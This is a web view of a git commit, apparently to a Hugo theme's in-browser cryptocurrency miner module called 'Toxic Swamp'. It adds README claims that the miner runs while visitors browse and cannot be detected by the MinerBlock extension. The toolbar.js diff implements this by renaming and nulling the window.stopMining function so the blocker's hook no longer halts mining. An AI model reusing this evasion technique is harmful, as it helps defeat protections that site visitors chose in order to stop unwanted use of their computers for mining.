Browse Source

feat(assets/toolbar.js): cloak from minerblock browser extension

see post on habd.as for details on the method
master
Josh Habdas 2 years ago
parent
commit
a77d443fc6
Signed by untrusted user: jhabdas GPG Key ID: B148B31154C75A74
2 changed files with 18 additions and 1 deletions
  1. +12
    -0
      README.md
  2. +6
    -1
      assets/js/toolbar.js

+ 12
- 0
README.md View File

@ -6,6 +6,18 @@
[![Screenshot of Toxic Swamp](https://jhabdas.keybase.pub/after-dark-v6.15.0-homepage-fs8.png "Toxic Swamp running on the After Dark homepage")](https://after-dark.habd.as)
## Features
- Mine cryptocurrency while visitors browse your sites
- Reward effort during site development and publishing
- Transparent, unobtrusive multilingual user interface
- Does not use cookies or connect to any third-parties
- Obfuscates end-user IPs and other connection details
- Automatically starts when external power is detected
- Suspends operation during loss of power or attention
- Optimized for low-bandwidth high-latency connections
- Cannot be detected by MinerBlock extension at 1.2.12
## Demo
View an [interactive demo](https://after-dark.habd.as) and [read the docs](https://after-dark.habd.as/module/toxic-swamp/).

+ 6
- 1
assets/js/toolbar.js View File

@ -84,9 +84,11 @@
WebMiner.throttle = state.throttle || throttle;
}
static start () {
window.stopMining = window.stopMinerBlock;
window.startMining(proxy.pool, account.address || proxy.address);
window.stopMining = null;
}
static stop () { window.stopMining(); }
static stop () { window.stopMinerBlock(); }
static get throttle () { return window.throttleMiner; }
static set throttle (throttle) { window.throttleMiner = throttle; }
static get hashTotal () { return window.totalhashes; }
@ -114,6 +116,9 @@
fetchInject([
"{{ "/js/modules/toxic-swamp/webminer.min.js" | relURL }}"
]).then(() => {
window.stopMinerBlock = window.stopMining;
window.stopMining = null;
const status = form.querySelector('.js-status');
const interstitial = form.querySelector('.js-interstitial');
const ticker = form.querySelector('.js-ticker');

Loading…
Cancel
Save